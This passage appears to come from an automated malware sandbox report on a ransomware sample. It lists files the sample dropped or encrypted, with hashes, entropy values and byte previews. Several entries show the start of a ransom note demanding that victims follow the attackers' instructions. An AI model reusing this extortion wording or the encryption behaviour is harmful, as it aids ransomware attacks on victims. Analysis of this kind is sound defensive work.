                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\user\Desktop\SUAVTZKNFL\BNAGMGSPLO.pdf
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.846701342341336
                                                                                Encrypted:false
                                                                                SSDEEP:24:mmPhqSfFlN8IH7Mc6c1YEEFQZ2keUTxTi0fjpB59YkOy+kVHPjrTfu/A3Fik/:mmPhtrNHITpEE6hHxT9FB/5VHPnTfu/Y
                                                                                MD5:8775B609C3899D24FEE48E70B8483849
                                                                                SHA1:13C9B55D7F5BD8095973C59328FC8D850D594E77
                                                                                SHA-256:93D6289758DD1A5A06382DEEC0B0018FDB37FAD563908B19B4BF3293DD8BE2AA
                                                                                SHA-512:1B85C41162E09282CE308FC552F9BF22400B19EB11A8FA9FB412A639F7986A6DC6FC537641A9DAE1B2D717CBA4F0EBAFB7581F1C731280AAB0CCFA0C34CA2A7C
                                                                                Malicious:false
                                                                                Preview: }.......%_...eS5.m..n.0.#..g`......Y..3......U.A.@.6(O({...&..9Y..Ud"..;...\`f.....78kNNd2..........u....4g>.....U.Q...!@1.~..'"...B........6.0...nq..i.h..mv.bj....#.X..6.^.d:...m....1.f..G.Q.3........$y\.D .[A..X...]...h....x/...DHHp.4....s.*..a.XO.J..x.8.S.%b.%..F.N|.K.G..!c...\P.[.D..Fg40....=.m...QE.5..b....9..H=3^z~...@........\.6n'.6."..'..=.FW..u...7E...... ......}.....nF.P2^wgVL..Z~.........~.@.=.r.....b7.....|n......=..$.%..'..?m......[e.3.b4../.v.6.j.RtJ..........P........M.......r....6...z...f....;u.tB../............lg...D....|M.*....C}...(2'.k|w..':9^@*3......5]...9'....b&...x9.`kc6...._...#.4...}$.......*am7...e..&.C.4m..l+|...)..3.Nc...r$....n.....>.).......:3H.t....%.Y.Bb(...l.,Y.....i`..k..&.....k...K..u!..p.uq....h..m...O[.."0.)^.A..c.>?S.O].....^..3..5..Sl@..w./.}.Tr.G............X!....B..r..u...?......I...J!...y..(.z.#=....`..........'...UR..[8...t....{.x.^V..J.|...*@n..|.qf...a...'MG..x.[...s....:.Y...s
                                                                                C:\Users\user\Desktop\SUAVTZKNFL\EEGWXUHVUG.png
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.835911599188269
                                                                                Encrypted:false
                                                                                SSDEEP:24:ggSDbQAp3ANcj4/cTvTee6K7/XFk0vX83Ilf3RWXUiixlCBQrvrTfu/A/en:gPvQA2iLTCefns3w3RislMGjTfu/A/en
                                                                                MD5:C495801387F3663BF8C6B27FB0DC0017
                                                                                SHA1:6CEE813C083187D2758C5B0908D33466BDE6925F
                                                                                SHA-256:663CF5649D8F7516B13CD34D913586C0B18436F6DD5B2BEE0983486ADCFFFAD8
                                                                                SHA-512:DF21716DAEEDC455D19823AB5187A2A6EA24BAE6C8D8012B702FF00081B1DE1D78C79F098B2D2E5533A72C5B24BCD4AB5FB3A4E006D70C60D5B15AC86F851D51
                                                                                Malicious:false
                                                                                Preview: .........t..K....@.vL.\...0....t).p...>.^..F.%Xk..|........EA..G.....v.n...C7...w.Ff:.QN...,.e@.h-.E!R.a.".vN.M.....1o%.....p.>.k..`.V.o.Bw....Y...1..........m.e..1....}-sT4.Pe..d..'~..i.L.*9..o...d....R.p...GF..Q9c..A.....,......3..`....E...|....8.z......P.....4?..u.].Yt....u0..]f..yl..A:H....u..D<..kF.....k.9..2g,N@....$P.`lW...Tk........f.....HM.?....O."@.].R6....z}.PS<G0..}:..Nx.....5>.%kH.{Fi.nyM(Y...b&.;.CE...u8l..`.......e..S18...s.on.?]..p.....a-".X2,......z..r.v.1x:...S.c...o.J......f8G`r"JIV..x.X.?..{.1Zn..}.@.../=|......cF...J...e....%.m...3Z.E..P...4..........Z..{'NtX.mDh.t.X...DO._.fz~...E:...h9.x.....E..1....)..../K.8.....R.E..........l./;.~./...^..1Y....,....3....L.5..'R....X..=.Y.&...8H.o.....4.Y.s..8.......lt..$..6.Z.]W......M^..%*D..W..P{.>.D.k.6~....@2g0...oH$:.7.:ON.z.a....h.lLM....d........)HE7.}...R.l....|....D.e.......y.aw..lE%..I.)Y.._6.]y|..'..c..fN...JY.c..#.....*~#...j....G..#.e..%....h._^..C...`(}.....,=}6o.
                                                                                C:\Users\user\Desktop\SUAVTZKNFL\NVWZAPQSQL.mp3
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.863669755649813
                                                                                Encrypted:false
                                                                                SSDEEP:24:TjPq/WuFHkfH3Oc9W6jZ7Eu/X5VzZ0Y+3eaWRSQhkrerTfu/AHPHQx:CWuFi+SWm1j/plKY+NWRSQhkrETfu/AE
                                                                                MD5:C81E0CCD43B1F321A1E5643FA556112B
                                                                                SHA1:A5EEF5CF9C7CA7ECA15F39790A93BBA33AA8986D
                                                                                SHA-256:B825336D55CCA8290DB1FF6487EC61363EA38CC17CD31DF9310AD73505EA4AD7
                                                                                SHA-512:810FB9E9A36585BD39D8BC7B0F4872FDECF635681969AFE450EAC0D054502EFB97B98231E940CF94C9E3C748A30195FC5DEBBD1F561926A61CF1C1DB832B9EAF
                                                                                Malicious:false
                                                                                Preview: ...>....8.)...zyR.l..(.YY..0..A.q..G...m..P.f..~..\N.q..d..'._O..J.16H.....s..z<..[...F.q..J..I.O...Qo....|.hlce....8..s.".l..43.l3.K|.g..|..L........=K....yH].f....X.y.5h."..cFT`.d......*.PW|a.,.?.j......?.;.O..M.3...............P.f!.I.y....Z....%2N.....B..}...y...d.....n...........[..2"y?.-.......t..o..&.6..sNe7.!Z.%...LEwF.S.....L...;1.EJ.^..qr..@H.$...y^....7..-...."N*.h...}.7....|.U.jJ.K&...b.>.B._.<....a.,f.).]X...Tn..2.[}......v..C..V...x...r?.....}.v..wt...n{.....(\.[...:F..z.1.......m..T.3..a;....9}Q.R..g(..m..^t.aZ.wO..M....(....V$F.x &A<.O.4f...-..?3+orW.\.DU...8R..(..mP.=.v=c3.%.h....~...l.I...X..!.......>..kA.!....}f?....=B..._...c..X,.p\....Q..3.j.N...b..'.{4..................R...r.....!....:.Z;2\2.#..y..|j[...g|.%....L.1R.{[........P.h5.\2...u..CO#.>...M3.2R!.}..0..L@.i.?..*..."...n3...T.g..h...<v.-.#...r......b.2`.&...s..ufEr.u.1l....[..Zw.L0f...r...=j_0.....z..3{..X.%.....2........GP.8.N...'.6 .7..rJ3.Z1....Zrr ..'.../.VT..v.
                                                                                C:\Users\user\Desktop\SUAVTZKNFL\PIVFAGEAAV.xlsx
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.8519282559060155
                                                                                Encrypted:false
                                                                                SSDEEP:24:5Cm/a+2QX8kczNRTzmXdvhjFosy9Y5sX1q4z8VrTfu/AMU:na+38ffmRoD9YI1q4KTfu/A1
                                                                                MD5:FD09114FD132CF0274BF487760CE0409
                                                                                SHA1:F42246D4B14469A865EF1FDBBFD9AA6207B229B5
                                                                                SHA-256:2BB9E53AFCBFB8AC491D640C3FB0CBF1AF193740229F97ED897AC90F96E2D636
                                                                                SHA-512:46A9994B6A976E34D1E8D8B412ADA8AAB6BC092DA53ADBD18093D61D545A3FF0EBE2958989C59872C3FD15DC3050E7981BD0E8BB18A01C2573CF203A066C528B
                                                                                Malicious:false
                                                                                Preview: ....7.1.~..E...a.P.n..m.*.CN.>RS6....^!...'B.. .%m..P...".0...J\..A..........".PDl...:..M.......A|...(..z./.9..in...;.I.Z......&..p.*.^..s..q.;S.F.{].\..+...qz.3..0~... .eY4..a.u..&1.....2..:i..V*S.c...b..^..B.....>..(....KP.../E..u]..-.....O.I..$M.+..>~.q..B.A....\..GM[,...{..f.w.X.O.n.uX$cT.Bq.../..8 P4.@}>..T..=.U..Y.#...n..f.5.....G(.Q...\....*..B...g.....a..@.O.r_.H..Vi..J4.:p...p.._iB+...<0.1.)....d..?%....'_....&.^.E.8j".....4x..~.....0.c2...w.../....E]3.j....L...........=j..{.i.Y3&....k.Y.`.Jf..d..U.....I9\....RXz.....v.E.......!>!*z......!.Z.W...Nu0J..l..)$...A.fI..'-3.....r ...B.c....a..\'.OMW^.D.......O.f.qL.....{..?S...?..$U50.y......m$...e......(.I.c..[1.......i.p.q.......X...2.K lF.>3.v..>.....m;._i&I...P....o.V.......v7..9..{.y`..D.....!.?P4!2...6....i..h.........^..+.@...=.;..J.c..&8..f.c<..7S.|Mx]3<\?.h..%j...f?-..w}....^.:]\......E...L.<..,...#.....8..OV|P...oS?K...N.`._J....D..Cn.h..R......f......9a.K-eX/.t.
                                                                                C:\Users\user\Desktop\SUAVTZKNFL\SQSJKEBWDT.jpg
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.833166249000018
                                                                                Encrypted:false
                                                                                SSDEEP:24:+CfSLTWx45t8XmyhKsIhwY0IcZgDBmoCoJHvN5XLZFqFngrTfu/Arhh:lfSbNTsGwrIP1zCoJPPXLZQ4Tfu/Arb
                                                                                MD5:00228DF306D4B7D70F39D07EF9C120FE
                                                                                SHA1:95A23FDD662433A6C0B6039D7ACA6B04EFA5595A
                                                                                SHA-256:1CEF31142647958A2B5865490DE33326646F15CE3D63ECED7190F91EA1DE2E1E
                                                                                SHA-512:D907BB2AB63D24572F30C4539ED079B3E5B23DB73C724C630DA4A9AE03B58F1E921079148D11DECD3C648D4039314858F6A24E92ACC10414225879D3B259C014
                                                                                Malicious:false
                                                                                Preview: ...,M..*O..%..(n^...uW...3n.............-..9Z=..+..U!]_W...mJ.9.o.}..E...\....z....@..<.U\........0r....d...z...=.v.`qI.k.P.....9...*..t%z..^..#B.>f....v(t...._..V..u.G+E?...f.4Po.......S=..{............3|.7.Ft........2.0.y.T.,{.N....n.,.......M...u.X.L~D........ORg.&(..+.G.E h/.(A..<......k....d.....*~|u...M.[.E..C...d@...."qG..N.5NS..Tm.9..9|AG....v^\...2.|q.. 8&T=>m..Km..v.?.......-....!1.NI..MKH..q*+.~....F.....{.mQ..wG...Ge%....l..T..,.....P..jd...E7*...|`7..].....5-..6.,#......T.J#S./&0:<.n|.....x..v{..&...#.k..oE.....#..?....Q..T2aA.H./.`bt.=E..{...x..z).x.P...^..~...)..2.8s.&V/..P...-.. ...y.w....{...uL../A.>.w#O...../C...q.A.P>.u.!3..<u3ZX....o../In.0......8<!;.....Y.Z6[.y.K..DFf..t.(.+.t`M.@.r9..@X}.^H....../.#.m.y=}.C......qlW...Hk`Z.=..j)..U..:T..F...L.D.|..i$........t.........u.W...=.+...N.....Mnn7...G.WQ.Z.K.:..<N...N..o/G..wp.......p.Z...._.H.x;...Nc.,...B#W.$..ws...|[..q`.t....2...Q=.Y....W.+...e.WtgY......C#..g..6+,.V."...
                                                                                C:\Users\user\Desktop\SUAVTZKNFL\SUAVTZKNFL.docx
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.822616773274878
                                                                                Encrypted:false
                                                                                SSDEEP:24:7C7t5X8Df4QgueDwCzUJRl762YjjAQHN1MlCH6rTfu/Acztf9:7CZq3en9PxylCHQTfu/Ach9
                                                                                MD5:01ECB0CCBB9732B67A0EEE9F4A180658
                                                                                SHA1:7E9594C174742BCDA5E767704AC6D75DDB2F9598
                                                                                SHA-256:DCD336E17091000F4A58ABCBB05E9BDF912601A0BE37767E2D46961E58FFC860
                                                                                SHA-512:293B8AB08E7A036ADB33624D9A7D8D7299AE53322F6B94643AEB001E196AFED2E47B8A2D619AD8A21DEA764180E7C2EBC66ED1B7938B4A3EAA837A057CD0EF99
                                                                                Malicious:false
                                                                                Preview: t.?..4.!...~.hgt..H.F.[8..q{{7.F.3A:.....K.c.....0&..2h.....eG-&l..._S&A.F..gk..J.W..Bp..j.FD.!...s..qu..u..;...z.*n.9..I....%....e.S.0S...R.I..`n....F...........w.*A.zX......JH.LAN..D.?..*.F...xt..=).9...!..^.s..CBX.\...<:.=..}O.M!..4...e.$59.YB...*.+.G.zsDH..J...J$:+..].F.l....]*b.'..... .~t+X.V.~.!x~7 E.L.l.@dJo.yM..o..K....Z.0;.........=>.R"...Z..2....`W~.r.V%...(....v.~.ME.....>A.Z&<0..x.K.g.Z3...^.HN]E.,......J...b$..:..YW..vR..<...\..}.H.C..m..m.j)....%.2...I.t....j...8..YX.1x......@....c.....V..a...\P...s.C...n...].!.....+.,...B.yC$.j..8.-.C..$p..O..~..,...g=...}.qY6^.=^+...._..n..&E.1K.E.?S..H..*jY..>].td.Z.PS.n.KC..}7...]x@../...N-....k7~.E.a.......<A.._n...p...@...{.&....]^.S.*....}...<.,...].HT...q. .{....!6D.n.N.a.....SK..2...l.$.B..<W...})Y.[..<.p.z.p..UT.....M.h...?C..&...(..rL..X.H........J....A..I.=\.J....N...d.....4..3Y...z..^.t(.u.+;.Q..V.oC._/$4H.L.....[..)...U.R{%.&{=..8.<.......|.Y6JFo7.x.{1...S...3..4..$_e<.#....j....b...GLJ......
                                                                                C:\Users\user\Desktop\TQDFJHPUIU.mp3
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.851753538629958
                                                                                Encrypted:false
                                                                                SSDEEP:24:wDneBs1zhdPXP+GEFXKE/TQoUVo1hRk8Olkpo2mvfKprTfu/Ase:EsUldP2GEFXKEMoy8OSpo2mvyhTfu/A/
                                                                                MD5:5FB462F1A05706AC9EBD87B169CCC9E8
                                                                                SHA1:FD2CF167661B1792E825DF7A461A19C0AF40639C
                                                                                SHA-256:4A48DC1A290AC624F920A96B7847347BDCF84FE92D735B4EBD3268C306E4D19E
                                                                                SHA-512:2FEAA3F84BDB60DFB5CBA92B7EC1F4528278DA93EE0C564B13CEE3FC2178E6E0A56C5AAD6FC56599B7AEBE8FF5AF4A804D12A997263E11FC96601630A2ADC056
                                                                                Malicious:false
                                                                                Preview: 6zG.66U)35.|... ..1......yjH..P...G..Tj+Z....:.L.ie........=.f0.s..NU...lK.z..[.vnm.D.>...).d..N.......%u....c.....e\".J....V..%..y_....8......**.fke1..BH .v......+\.......K.v#.O..N!Y#.4=....yGJnS.....[...#.tmu....5....z..;..w....O....v......d..v.b..].;,..p[...........)L.a...0j.jKZ-p...O:......]^..b.....a..y`..j<bM".*.:........oi........c&j..u......!mt..........c...R.9+.h.O.zVm..^...&...)...g....u.K....6(....tR..-.1.s.".s._......ug.oJ..u.H....@?..4|..s....i.|..i...../..R....B....Xd..H....5..+7...<...C+J..I..P.h.7.K.3...z..F......B.....s..6..t.}.~.%..N...s/h.........kp..........diK(..&Z3.$"A...aH.U........iH.n...yl.....n.5....!...C..o.....@.kNf..;:.dV<..r.\..0.|....#KA./V=.y...j.."F....2.=...:...<.E......)....%....H......)...X.%...O;f2.S........3.".]YAjk.e...V..}..B....Z.n..>....;..i..z..$yz..'.O./,........&U...f5.I.........B!....1.......`......D..9._n..N..KO]K...b..bN.dd....P..H.qA....+9..#........%n..?..4..!.~...2:d...wV.`w+.9...9
                                                                                C:\Users\user\Desktop\WSHEJMDVQC\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\user\Desktop\Word 2016.lnk
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):2896
                                                                                Entropy (8bit):7.947654782223222
                                                                                Encrypted:false
                                                                                SSDEEP:48:V6ANc5LIrWmk9AMm5siVQIQQgcS28h3HsC5sNzCWfMfsBsGxKoYRrTfu/AC2:Pc6/mYxIh3MosNzCWfiGxIZuYC2
                                                                                MD5:5946D2970272950E80EAF7FB637CCFB1
                                                                                SHA1:3F7FBF01E98102379BC14F3B7658C38E94B8E547
                                                                                SHA-256:CA4019C3F8D74CB71F252B38792D6C7CB446CE4AA9585F83562260FF4830CE25
                                                                                SHA-512:246B872F79EDE0E93E82E5BFD978401A331C8EF024A23257583DBD48E599DF39FFFC3856D99EEFAAF9F6CA4993540861D3D7E01E615DB79C579299A089B7CD0E
                                                                                Malicious:false
                                                                                Preview: ..uQ.....<K.x$Ps.nfV......5......`9.j.h...QL.PM(..O0(B...V.;j........B:E..........l.T{jZ.`...I...ENY..].K...lxqz.K.......7..E......x.n...B.9..z..R.b..........ZM3......z...SCuO...1.o).y*.RG.....N..G...,i*h.z..<.C;.:'.&.*m..\..C...T....C...y..eI...1..OL...yZ...T.f.g...y ..Y....... M.f_.7X....'].Nl ..;..4...._d.K.7H.z=.`\>h...f5..y.~..R.(w8-v.pzmf...n......../G4.....j;i.L...!.....$t......xBv(.?O.......Y.V.........!.&.vU..."...\....)....;.{..'R..G~..>q.../.`...z..M.SGP..SO...N.e..........{........x.....A.ZhJ9..u!n]....zL...8(.[..!3..2a`........U.zn`N...K.k9.]FM=..LmX....V..+....+..l...8m9.S.>I.{u>..!b.....s.q.....@Io. ...=..0.`..'.DS%g..-g.|.~K..t.^.~......~a.7O.H.,.1..vBw...7....:..{...n....=.......[..6ed..j..a<.....VB.9........0.b....f..+. .B.>..K..m..OQ......b....9......d..3Q..../..`.=Q..[KGue.'.....)...=.8@.S...V.e..a .W4..............-...s..._.].... .)l`..".4.~.$..&t..%w..f...I3)........*..yk3\.T..'u.o2m......o2..d`.2.v$?.g5i..L...$.qP.
                                                                                C:\Users\user\Documents\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\user\Documents\BJZFPPWAPT.pdf
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.8589636474820015
                                                                                Encrypted:false
                                                                                SSDEEP:24:N8u7+SNBjNi5onj3OBOv2lTnt/MMsbjhLgoKQatrQ9fPCUzLbrTfu/AGIr:NJ77BxiSjyOvWrt/MMijhMOTxRz7Tfu+
                                                                                MD5:02C281F89654E9D32BBDE3BAE57FA707
                                                                                SHA1:1F6E702AD9E846F36EE2D25D02D97C8FA4B10CD2
                                                                                SHA-256:0A25BD84303FD18F7F0CB25047900DA196E22E0BD10DDF80BF5BDA04FD1F0853
                                                                                SHA-512:679E6AF89F7D16ED51C5F46C8B4CE7FEB88BF371AB81D3D77B1049A8421BF2F1FF513E81684A20A2ABB1F728ABF2B98A07C9D18DB9C8363E6F4DC5812B60AE7B
                                                                                Malicious:false
                                                                                Preview: ]z...w.1.BV.......[.5.yw.q]q..0s.~....w.w5.z@...M.mX.iq.u<.1.$..~x..#a.G..a...B%z..4.V.Q.}7F...[.M..^.v......2...V.D>....`..&.$6....O..;.....Q..o.9vtI...F....|..\...5.....t.r.5.b..c@E+w..........u..y.C...,....y......R...k..5.?1..O/....?."...H6....b.....2.i.US...7.....y.t.6.ht8.'c6..Q...L...R......cS.D..X...gh&&..d..._.~.T..y.u...../....\$...y2|..q...9.}..Ye.hSe....I...f.".v1.U.=..hH..\./..;.u..x.[.jb.........d.(.^P.^..].@R..YjHk...2..!E.2'9...GR.n.>`V...\...:.....%.H.{...f.a.....L..7.).-.B5...%.*....F..h....9I8...XG.l..\|........(I.V...P...V..1..#.....{.d./.]..5.>W<...T.<.'..Fz.N.........m..yj..w..W.gx.......)f...Z7..uZ.k..@.S.....@6C..)9...2.....2|9.0.0T..&.H.ul-....|,.f..Z....S.nt...G.A...Pr.R.=.[fwK.+...s..JE..(..=..o.U..L....a.=-..(..M..3.p.M.;o.#hKP.'..'m..../O..m..*../$W./5.....XP.+.'.e...r.........P.M..Ne...vS.f.+.._LR.q......._l.....+:..r.W]9.E.t_..Yw.(.g.....4...w.Sb.h.....h..C...#...l\.."..-.6.J?,...m.L..)'..k..U..3..Z..g..Y..
                                                                                C:\Users\user\Documents\BNAGMGSPLO.docx
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.842756360586008
                                                                                Encrypted:false
                                                                                SSDEEP:24:6e5Fb3sWCaMgRtaFFQGeWK/RA7IULZRoC9aWvN93AM3rTfu/AkP:6Y39egaQmKZAtcmpvT3AiTfu/A4
                                                                                MD5:486168F71C8043F0FF737990EA40A4EB
                                                                                SHA1:A22831AB986952C658A1ED527A8A475090D4358B
                                                                                SHA-256:E639052C6235D2A657F17779BE3B33773C0E783710DFC2BDA3C2A8408C1B806A
                                                                                SHA-512:9C437F850CEAAE27787840FD6469021A2D10F3A3FE3DC7748BE426A936639B530CAAD6352D6C776AF0BE16C79DC6292445F50D07DDE1BBF5C8130ADD6DD8B17E
                                                                                Malicious:false
                                                                                Preview: lR-&H62s..#..-I.r.c$..D.#..r....m....]M...Q{-.t...e...l2.:x..6b....X..|.m.xfj..ZQiM8d.y....6...t}............4..{..i....~....68.[{AT........BU.s|..V....`t..A..a.l,.At......7.._..."......&O\..;>............E.........P.D.Yv.u/.......Q...K......E.s....}...S....k.r.rp.J.5Q..h...E(....m{v..q.&...1+...W.......<....J..Q.N@.r...2?H...\..qy.....l..mE.T. ZP..G/...,.y....u.....!..Y.>..2......[z....4.JZ....J....|...=....._..t..D.(s.[.R.,n..&Fh...-.!.s.WpN..............).G.:.........09c..0!;.....?....9.."..+ak.......8\....&..t.[.8.q*....A\...%^..E...+..VS[ .6....o...tVH.FX......7.I.C.6.......w.H.g..4.C?q:.P3..Os{...)Z.52..:...r......A.SJ.z.B`p?G...R..:bP1g.Ss........}M.+.......nu>.#.P.G1xsA.F...*.&"-...,..D....].;....uH.x........dD.....*..!....B.....m.%#...O.F.!.Z.AhmR.2.....".^......OP...;...........@~....A...2....9..2..e.:.7...5.`..G...O..`.3g...m.=.$...`.f.<..\Vu..9e8..=".?.s.2p.....*Ge..H.....m6I...8.L....E.?.n.8.....\..^...U.&$huO.[.....@
                                                                                C:\Users\user\Documents\BNAGMGSPLO.pdf
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
